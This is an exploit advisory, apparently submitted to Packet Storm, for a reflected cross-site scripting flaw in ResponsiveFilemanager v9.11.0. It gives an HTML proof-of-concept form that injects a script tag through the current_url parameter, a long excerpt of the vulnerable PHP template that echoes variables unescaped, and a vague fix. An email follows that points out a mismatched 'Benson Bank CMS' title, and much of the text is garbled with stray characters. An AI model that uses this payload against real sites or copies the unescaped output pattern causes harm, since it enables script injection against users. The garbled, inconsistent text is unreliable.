*=============================================================|
| Exploit Title: ResponsiveFilemanager Cross Site Scripting
|
| Exploit Author: Ashiyane Digital Security Team
|
| Vendor Homepage: http://www.responsivefilemanager.com/
|
| Download Link : https://github.com/trippo/ResponsiveFilemanager/archive/master.zip
|
| Version : v9.11.0
|
| Tested on: Kali Linux
|
| Date: 1 /10 / 2017
*=============================================================|
| Exploit Code:
|
|<HTML>
|<HEAD>
|A A A <TITLE>ResponsiveFilemanage Cross Site Scripting</TITLE>
|</HEAD>
|<BODY>
|<form action="http://127.0.0.1/7/ResponsiveFilemanager-master/filemanager/dialog.php" method="get">
| <input type="hidden" id="current_url" value="akey=key&crossdomain=0&editor=0&field_id=&fldr=/&lang=en_EN"><script>alert('M.R.S.L.Y')</script>&popup=0&relative_url=0&type=0"/>
|</form>
|</BODY>
|</HTML>
*=======================|
|How to fix this vulnerability :
|
|You should first try to f.ilter all input variables O After use command echo in script :)
|
*=======================|
|Vulnerable code :
|
|<body>
|A A A <input type="hidden" id="ftp" value="<?php echo !!$ftp; ?>" />
|A A A <input type="hidden" id="popup" value="<?php echo $popup;?>" />
|A A A <input type="hidden" id="callback" value="<?php echo $callback; ?>" />A A A
|A A A <input type="hidden" id="crossdomain" value="<?php echo $crossdomain;?>" />
|A A A <input type="hidden" id="editor" value="<?php echo $editor;?>" />
|A A A <input type="hidden" id="view" value="<?php echo $view;?>" />
|A A A <input type="hidden" id="subdir" value="<?php echo $subdir;?>" />
|A A A <input type="hidden" id="field_id" value="<?php echo $field_id;?>" />
|A A A <input type="hidden" id="type_param" value="<?php echo $type_param;?>" />
|A A A <input type="hidden" id="upload_dir" value="<?php echo $upload_dir;?>" />
|A A A <input type="hidden" id="cur_dir" value="<?php echo $cur_dir;?>" />
|A A A <input type="hidden" id="cur_dir_thumb" value="<?php echo $thumbs_path.$subdir;?>" />
|A A A <input type="hidden" id="insert_folder_name" value="<?php echo trans('Insert_Folder_Name');?>" />
|A A A <input type="hidden" id="new_folder" value="<?php echo trans('New_Folder');?>" />
|A A A <input type="hidden" id="ok" value="<?php echo trans('OK');?>" />
|A A A <input type="hidden" id="cancel" value="<?php echo trans('Cancel');?>" />
|A A A <input type="hidden" id="rename" value="<?php echo trans('Rename');?>" />
|A A A <input type="hidden" id="lang_duplicate" value="<?php echo trans('Duplicate');?>" />
|A A A <input type="hidden" id="duplicate" value="<?php if($duplicate_files) echo 1; else echo 0;?>" />
|A A A <input type="hidden" id="base_url" value="<?php echo $base_url?>"/>
|A A A <input type="hidden" id="ftp_base_url" value="<?php echo $ftp_base_url?>"/>
|A A A <input type="hidden" id="fldr_value" value="<?php echo $subdir;?>"/>
|A A A <input type="hidden" id="sub_folder" value="<?php echo $rfm_subfolder;?>"/>
|A A A <input type="hidden" id="return_relative_url" value="<?php echo $return_relative_url == true ? 1 : 0;?>"/>
|A A A <input type="hidden" id="lazy_loading_file_number_threshold" value="<?php echo $lazy_loading_file_number_threshold?>"/>
|A A A <input type="hidden" id="file_number_limit_js" value="<?php echo $file_number_limit_js;?>" />
|A A A <input type="hidden" id="sort_by" value="<?php echo $sort_by;?>" />
|A A A <input type="hidden" id="descending" value="<?php echo $descending?1:0;?>" />
|A A A <input type="hidden" id="current_url" value="<?php echo str_replace(array('&******='.$******,'&sort_by='.$sort_by,'&descending='.intval($descending)),array(''),$base_url.$_SERVER['REQUEST_URI']);?>" />
|A A A <input type="hidden" id="lang_show_url" value="<?php echo trans('Show_url');?>" />
|A A A <input type="hidden" id="copy_cut_files_allowed" value="<?php if($copy_cut_files) echo 1; else echo 0;?>" />
|A A A <input type="hidden" id="copy_cut_dirs_allowed" value="<?php if($copy_cut_dirs) echo 1; else echo 0;?>" />
|A A A <input type="hidden" id="copy_cut_max_size" value="<?php echo $copy_cut_max_size;?>" />
|A A A <input type="hidden" id="copy_cut_max_count" value="<?php echo $copy_cut_max_count;?>" />
|A A A <input type="hidden" id="lang_copy" value="<?php echo trans('Copy');?>" />
|A A A <input type="hidden" id="lang_cut" value="<?php echo trans('Cut');?>" />
|A A A <input type="hidden" id="lang_paste" value="<?php echo trans('Paste');?>" />
|A A A <input type="hidden" id="lang_paste_here" value="<?php echo trans('Paste_Here');?>" />
|A A A <input type="hidden" id="lang_paste_confirm" value="<?php echo trans('Paste_Confirm');?>" />
|A A A <input type="hidden" id="lang_files" value="<?php echo trans('Files');?>" />
|A A A <input type="hidden" id="lang_folders" value="<?php echo trans('Folders');?>" />
|A A A <input type="hidden" id="lang_files_on_clipboard" value="<?php echo trans('Files_ON_Clipboard');?>" />
|A A A <input type="hidden" id="clipboard" value="<?php echo ((isset($_SESSION['RF']['clipboard']['path']) && trim($_SESSION['RF']['clipboard']['path']) != null) ? 1 : 0);?>" />
|A A A <input type="hidden" id="lang_clear_clipboard_confirm" value="<?php echo trans('Clear_Clipboard_Confirm');?>" />
|A A A <input type="hidden" id="lang_file_permission" value="<?php echo trans('File_Permission');?>" />
|A A A <input type="hidden" id="chmod_files_allowed" value="<?php if($chmod_files) echo 1; else echo 0;?>" />
|A A A <input type="hidden" id="chmod_dirs_allowed" value="<?php if($chmod_dirs) echo 1; else echo 0;?>" />
|A A A <input type="hidden" id="lang_lang_change" value="<?php echo trans('Lang_Change');?>" />
|A A A <input type="hidden" id="edit_text_files_allowed" value="<?php if($edit_text_files) echo 1; else echo 0;?>" />
|A A A <input type="hidden" id="lang_edit_file" value="<?php echo trans('Edit_File');?>" />
|A A A <input type="hidden" id="lang_new_file" value="<?php echo trans('New_File');?>" />
|A A A <input type="hidden" id="lang_filename" value="<?php echo trans('Filename');?>" />
|A A A <input type="hidden" id="lang_file_info" value="<?php echo fix_strtoupper(trans('File_info'));?>" />
|A A A <input type="hidden" id="lang_edit_image" value="<?php echo trans('Edit_image');?>" />
|A A A <input type="hidden" id="lang_error_upload" value="<?php echo trans('Error_Upload');?>" />
|A A A <input type="hidden" id="lang_select" value="<?php echo trans('Select');?>" />
|A A A <input type="hidden" id="lang_extract" value="<?php echo trans('Extract');?>" />
|A A A <input type="hidden" id="transliteration" value="<?php echo $transliteration?"true":"false";?>" />
|A A A <input type="hidden" id="convert_spaces" value="<?php echo $convert_spaces?"true":"false";?>" />
|A A A <input type="hidden" id="replace_with" value="<?php echo $convert_spaces? $replace_with : "";?>" />
|A A A <input type="hidden" id="lower_case" value="<?php echo $lower_case?"true":"false";?>" />
|A A A <input type="hidden" id="show_folder_size" value="<?php echo $show_folder_size;?>" />
|A A A <input type="hidden" id="add_time_to_img" value="<?php echo $add_time_to_img;?>" />
|
*=============================================================|
| Special Thanks To : Ehsan Cod3r O micle O Und3rgr0und O Amir.ght O
| xenotixO modiretO V For Vendetta O Alireza O r4ouf O Spoofer O
| And All Of My Friends O The Last One : My Self, M.R.S.L.YA
*=============================================================|
From: Packet Storm <packet@packetstormsecurity.com>
To: aaNc Kha! aa <nc_521@yahoo.com>
Sent: Wednesday, 11 January 2017, 6:40:19
Subject: Re: ResponsiveFilemanager Cross Site Scripting
Why does one part say Benson Bank CMS and another ResponsiveFileManager?
On Tue, Jan 10, 2017 at 02:52:42PM +0000, aaNc Kha! aa wrote:
> *=============================================================|
> |A ExploitA Title:A ResponsiveFilemanagerA CrossA SiteA Scripting
> |
> |A ExploitA Author:A AshiyaneA DigitalA SecurityA Team
> |
> |A VendorA Homepage:A http://www.responsivefilemanager.com/
> |
> |A DownloadA LinkA :A https://github.com/trippo/ResponsiveFilemanager/archive/master.zip
> |
> |A VersionA :A v9.11.0
> |
> |A TestedA on:A KaliA Linux
> |
> |A Date:A 1A /10A /A 2017
> *=============================================================|
> |A ExploitA Code:
> |
> |<HTML>
> |<HEAD>
> |A A A A <TITLE>BensonA BankA CMSA vA 5.5A -A 2015.09.09A CrossA SiteA Scripting</TITLE>
> |</HEAD>
> |<BODY>
> |<formA action="http://127.0.0.1/7/ResponsiveFilemanager-master/filemanager/dialog.php"A method="get">
> |A <inputA type="hidden"A id="current_url"A value="akey=key&crossdomain=0&editor=0&field_id=&fldr=/&lang=en_EN"><script>alert('M.R.S.L.Y')</script>&popup=0&relative_url=0&type=0"/>
> |</form>
> |</BODY>
> |</HTML>
> *=======================|
> |HowA toA fixA thisA vulnerabilityA :
> |
> |YouA shouldA firstA tryA toA f.ilterA allA inputA variablesA OA AfterA useA commandA echoA inA scriptA :)
> |
> *=======================|
> |VulnerableA codeA :
> |
> |<body>
> |A A A A <inputA type="hidden"A id="ftp"A value="<?phpA echoA !!$ftp;A ?>"A />
> |A A A A <inputA type="hidden"A id="popup"A value="<?phpA echoA $popup;?>"A />
> |A A A A <inputA type="hidden"A id="callback"A value="<?phpA echoA $callback;A ?>"A />A A A A
> |A A A A <inputA type="hidden"A id="crossdomain"A value="<?phpA echoA $crossdomain;?>"A />
> |A A A A <inputA type="hidden"A id="editor"A value="<?phpA echoA $editor;?>"A />
> |A A A A <inputA type="hidden"A id="view"A value="<?phpA echoA $view;?>"A />
> |A A A A <inputA type="hidden"A id="subdir"A value="<?phpA echoA $subdir;?>"A />
> |A A A A <inputA type="hidden"A id="field_id"A value="<?phpA echoA $field_id;?>"A />
> |A A A A <inputA type="hidden"A id="type_param"A value="<?phpA echoA $type_param;?>"A />
> |A A A A <inputA type="hidden"A id="upload_dir"A value="<?phpA echoA $upload_dir;?>"A />
> |A A A A <inputA type="hidden"A id="cur_dir"A value="<?phpA echoA $cur_dir;?>"A />
> |A A A A <inputA type="hidden"A id="cur_dir_thumb"A value="<?phpA echoA $thumbs_path.$subdir;?>"A />
> |A A A A <inputA type="hidden"A id="insert_folder_name"A value="<?phpA echoA trans('Insert_Folder_Name');?>"A />
> |A A A A <inputA type="hidden"A id="new_folder"A value="<?phpA echoA trans('New_Folder');?>"A />
> |A A A A <inputA type="hidden"A id="ok"A value="<?phpA echoA trans('OK');?>"A />
> |A A A A <inputA type="hidden"A id="cancel"A value="<?phpA echoA trans('Cancel');?>"A />
> |A A A A <inputA type="hidden"A id="rename"A value="<?phpA echoA trans('Rename');?>"A />
> |A A A A <inputA type="hidden"A id="lang_duplicate"A value="<?phpA echoA trans('Duplicate');?>"A />
> |A A A A <inputA type="hidden"A id="duplicate"A value="<?phpA if($duplicate_files)A echoA 1;A elseA echoA 0;?>"A />
> |A A A A <inputA type="hidden"A id="base_url"A value="<?phpA echoA $base_url?>"/>
> |A A A A <inputA type="hidden"A id="ftp_base_url"A value="<?phpA echoA $ftp_base_url?>"/>
> |A A A A <inputA type="hidden"A id="fldr_value"A value="<?phpA echoA $subdir;?>"/>
> |A A A A <inputA type="hidden"A id="sub_folder"A value="<?phpA echoA $rfm_subfolder;?>"/>
> |A A A A <inputA type="hidden"A id="return_relative_url"A value="<?phpA echoA $return_relative_urlA ==A trueA ?A 1A :A 0;?>"/>
> |A A A A <inputA type="hidden"A id="lazy_loading_file_number_threshold"A value="<?phpA echoA $lazy_loading_file_number_threshold?>"/>
> |A A A A <inputA type="hidden"A id="file_number_limit_js"A value="<?phpA echoA $file_number_limit_js;?>"A />
> |A A A A <inputA type="hidden"A id="sort_by"A value="<?phpA echoA $sort_by;?>"A />
> |A A A A <inputA type="hidden"A id="descending"A value="<?phpA echoA $descending?1:0;?>"A />
> |A A A A <inputA type="hidden"A id="current_url"A value="<?phpA echoA str_replace(array('&******='.$******,'&sort_by='.$sort_by,'&descending='.intval($descending)),array(''),$base_url.$_SERVER['REQUEST_URI']);?>"A />
> |A A A A <inputA type="hidden"A id="lang_show_url"A value="<?phpA echoA trans('Show_url');?>"A />
> |A A A A <inputA type="hidden"A id="copy_cut_files_allowed"A value="<?phpA if($copy_cut_files)A echoA 1;A elseA echoA 0;?>"A />
> |A A A A <inputA type="hidden"A id="copy_cut_dirs_allowed"A value="<?phpA if($copy_cut_dirs)A echoA 1;A elseA echoA 0;?>"A />
> |A A A A <inputA type="hidden"A id="copy_cut_max_size"A value="<?phpA echoA $copy_cut_max_size;?>"A />
> |A A A A <inputA type="hidden"A id="copy_cut_max_count"A value="<?phpA echoA $copy_cut_max_count;?>"A />
> |A A A A <inputA type="hidden"A id="lang_copy"A value="<?phpA echoA trans('Copy');?>"A />
> |A A A A <inputA type="hidden"A id="lang_cut"A value="<?phpA echoA trans('Cut');?>"A />
> |A A A A <inputA type="hidden"A id="lang_paste"A value="<?phpA echoA trans('Paste');?>"A />
> |A A A A <inputA type="hidden"A id="lang_paste_here"A value="<?phpA echoA trans('Paste_Here');?>"A />
> |A A A A <inputA type="hidden"A id="lang_paste_confirm"A value="<?phpA echoA trans('Paste_Confirm');?>"A />
> |A A A A <inputA type="hidden"A id="lang_files"A value="<?phpA echoA trans('Files');?>"A />
> |A A A A <inputA type="hidden"A id="lang_folders"A value="<?phpA echoA trans('Folders');?>"A />
> |A A A A <inputA type="hidden"A id="lang_files_on_clipboard"A value="<?phpA echoA trans('Files_ON_Clipboard');?>"A />
> |A A A A <inputA type="hidden"A id="clipboard"A value="<?phpA echoA ((isset($_SESSION['RF']['clipboard']['path'])A &&A trim($_SESSION['RF']['clipboard']['path'])A !=A null)A ?A 1A :A 0);?>"A />
> |A A A A <inputA type="hidden"A id="lang_clear_clipboard_confirm"A value="<?phpA echoA trans('Clear_Clipboard_Confirm');?>"A />
> |A A A A <inputA type="hidden"A id="lang_file_permission"A value="<?phpA echoA trans('File_Permission');?>"A />
> |A A A A <inputA type="hidden"A id="chmod_files_allowed"A value="<?phpA if($chmod_files)A echoA 1;A elseA echoA 0;?>"A />
> |A A A A <inputA type="hidden"A id="chmod_dirs_allowed"A value="<?phpA if($chmod_dirs)A echoA 1;A elseA echoA 0;?>"A />
> |A A A A <inputA type="hidden"A id="lang_lang_change"A value="<?phpA echoA trans('Lang_Change');?>"A />
> |A A A A <inputA type="hidden"A id="edit_text_files_allowed"A value="<?phpA if($edit_text_files)A echoA 1;A elseA echoA 0;?>"A />
> |A A A A <inputA type="hidden"A id="lang_edit_file"A value="<?phpA echoA trans('Edit_File');?>"A />
> |A A A A <inputA type="hidden"A id="lang_new_file"A value="<?phpA echoA trans('New_File');?>"A />
> |A A A A <inputA type="hidden"A id="lang_filename"A value="<?phpA echoA trans('Filename');?>"A />
> |A A A A <inputA type="hidden"A id="lang_file_info"A value="<?phpA echoA fix_strtoupper(trans('File_info'));?>"A />
> |A A A A <inputA type="hidden"A id="lang_edit_image"A value="<?phpA echoA trans('Edit_image');?>"A />
> |A A A A <inputA type="hidden"A id="lang_error_upload"A value="<?phpA echoA trans('Error_Upload');?>"A />
> |A A A A <inputA type="hidden"A id="lang_select"A value="<?phpA echoA trans('Select');?>"A />
> |A A A A <inputA type="hidden"A id="lang_extract"A value="<?phpA echoA trans('Extract');?>"A />
> |A A A A <inputA type="hidden"A id="transliteration"A value="<?phpA echoA $transliteration?"true":"false";?>"A />
> |A A A A <inputA type="hidden"A id="convert_spaces"A value="<?phpA echoA $convert_spaces?"true":"false";?>"A />
> |A A A A <inputA type="hidden"A id="replace_with"A value="<?phpA echoA $convert_spaces?A $replace_withA :A "";?>"A />
> |A A A A <inputA type="hidden"A id="lower_case"A value="<?phpA echoA $lower_case?"true":"false";?>"A />
> |A A A A <inputA type="hidden"A id="show_folder_size"A value="<?phpA echoA $show_folder_size;?>"A />
> |A A A A <inputA type="hidden"A id="add_time_to_img"A value="<?phpA echoA $add_time_to_img;?>"A />
> |
> *=============================================================|
> |A SpecialA ThanksA ToA :A EhsanA Cod3rA OA micleA OA Und3rgr0undA OA Amir.ghtA O
> |A xenotixOA modiretOA VA ForA VendettaA OA AlirezaA OA r4oufA OA SpooferA O
> |A AndA AllA OfA MyA FriendsA OA TheA LastA OneA :A MyA Self,A M.R.S.L.YA A
> *=============================================================|
